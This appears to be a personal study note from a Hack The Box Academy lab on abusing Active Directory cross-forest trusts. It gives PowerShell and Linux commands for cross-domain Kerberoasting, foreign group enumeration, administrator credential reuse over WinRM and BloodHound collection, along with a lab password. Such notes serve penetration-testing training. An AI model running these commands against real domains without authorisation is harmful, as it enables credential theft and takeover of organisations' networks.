82 lines
3.6 KiB
Markdown
82 lines
3.6 KiB
Markdown
|
|
||
|
|
## Attacking Domain Trusts - Cross-Forest Abuse (Windows)
|
||
|
|
|
||
|
|
1. Enumerate Accounts for Associated SPNs Using Get-DomainUser
|
||
|
|
```
|
||
|
|
PS C:\htb> Get-DomainUser -SPN -Domain FREIGHTLOGISTICS.LOCAL | select SamAccountName
|
||
|
|
```
|
||
|
|
|
||
|
|
2. Enumerate the mssqlsvc Account
|
||
|
|
```
|
||
|
|
PS C:\htb> Get-DomainUser -Domain FREIGHTLOGISTICS.LOCAL -Identity mssqlsvc |select samaccountname,memberof
|
||
|
|
```
|
||
|
|
|
||
|
|
3. Perform Kerberoasting with Rubeus Using /domain Flag
|
||
|
|
```
|
||
|
|
PS C:\htb> .\Rubeus.exe kerberoast /domain:FREIGHTLOGISTICS.LOCAL/user:mssqlsvc /nowrap
|
||
|
|
```
|
||
|
|
- We could then run the hash through Hashcat. If it cracks, we've now quickly expanded our access to fully control two domains by leveraging a pretty standard attack and abusing the authentication direction and setup of the bidirectional forest trust.
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
Admin Password Re-Use & Group Membership
|
||
|
|
|
||
|
|
We can use the PowerView function Get-DomainForeignGroupMember to enumerate groups with users that do not belong to the domain, also known as foreign group membership. Let's try this against the FREIGHTLOGISTICS.LOCAL domain with which we have an external bidirectional forest trust.
|
||
|
|
|
||
|
|
1. Use Get-DomainForeignGroupMember (PowerView)
|
||
|
|
![[Pasted image 20230105191023.png]]
|
||
|
|
The above command output shows that the built-in Administrators group in FREIGHTLOGISTICS.LOCAL has the built-in Administrator account for the INLANEFREIGHT.LOCAL domain as a member. We can verify this access using the Enter-PSSession cmdlet to connect over WinRM.
|
||
|
|
|
||
|
|
2. Access DC03 Using Enter-PSSession
|
||
|
|
```
|
||
|
|
PS C:\htb> Enter-PSSession -ComputerName ACADEMY-EA DC03.FREIGHTLOGISTICS.LOCAL -Credential INLANEFREIGHT\administrator
|
||
|
|
```
|
||
|
|
|
||
|
|
From the command output above, we can see that we successfully authenticated to the Domain Controller in the FREIGHTLOGISTICS.LOCAL domain using the Administrator account from the INLANEFREIGHT.LOCAL domain across the bidirectional forest trust. This can be a quick win after taking control of a domain and is always worth checking for if a bidirectional forest trust situation is present during an assessment and the second forest is in-scope.
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
SID History Abuse - Cross Forest
|
||
|
|
![[Pasted image 20230105191151.png]]
|
||
|
|
|
||
|
|
|
||
|
|
## Attacking Domain Trusts - Cross-Forest Abuse (Linux)
|
||
|
|
|
||
|
|
Cross-Forest Kerberoasting
|
||
|
|
|
||
|
|
1. Use GetUserSPNs.py
|
||
|
|
```
|
||
|
|
TeneBrae93@htb[/htb]$ GetUserSPNs.py -request -target-domain FREIGHTLOGISTICS.LOCAL INLANEFREIGHT.LOCAL/wley
|
||
|
|
```
|
||
|
|
- -request flag added gives us the TGS ticket.
|
||
|
|
- Crack the hash with hashcat
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
Hunting Foreign Group Membership with Bloodhound-python
|
||
|
|
|
||
|
|
1. Add INLANEFREIGHT.LOCAL Information to /etc/resolv.conf
|
||
|
|
![[Pasted image 20230105191332.png]]
|
||
|
|
|
||
|
|
2. Run bloodhound-python Against INLANEFREIGHT.LOCAL
|
||
|
|
```
|
||
|
|
TeneBrae93@htb[/htb]$ bloodhound-python -d INLANEFREIGHT.LOCAL -dc ACADEMY-EA-DC01 -c All -u forend -p Klmcargo2
|
||
|
|
```
|
||
|
|
|
||
|
|
3. Compress the files with zip -r
|
||
|
|
```
|
||
|
|
TeneBrae93@htb[/htb]$ zip -r ilfreight_bh.zip *.json
|
||
|
|
```
|
||
|
|
|
||
|
|
4. Add freightlogistics.local to /etc/resolv.conf
|
||
|
|
![[Pasted image 20230105191426.png]]
|
||
|
|
|
||
|
|
5. Run bloodhound-python Against FREIGHTLOGISTICS.LOCAL
|
||
|
|
```
|
||
|
|
TeneBrae93@htb[/htb]$ bloodhound-python -d FREIGHTLOGISTICS.LOCAL -dc ACADEMY-EA- DC03.FREIGHTLOGISTICS.LOCAL -c All -u forend@inlanefreight.local -p Klmcargo2
|
||
|
|
```
|
||
|
|
|
||
|
|
- After uploading the second set of data (either each JSON file or as one zip file), we can click on Users with Foreign Domain Group Membership under the Analysis tab and select the source domain as INLANEFREIGHT.LOCAL
|
||
|
|
- We will see the built-in Administrator account for the INLANEFREIGHT.LOCAL domain is a member of the built-in Administrators group in the FREIGHTLOGISTICS.LOCAL domain as we saw previously.
|
||
|
|
|
||
|
|
![[Pasted image 20230105191533.png]]
|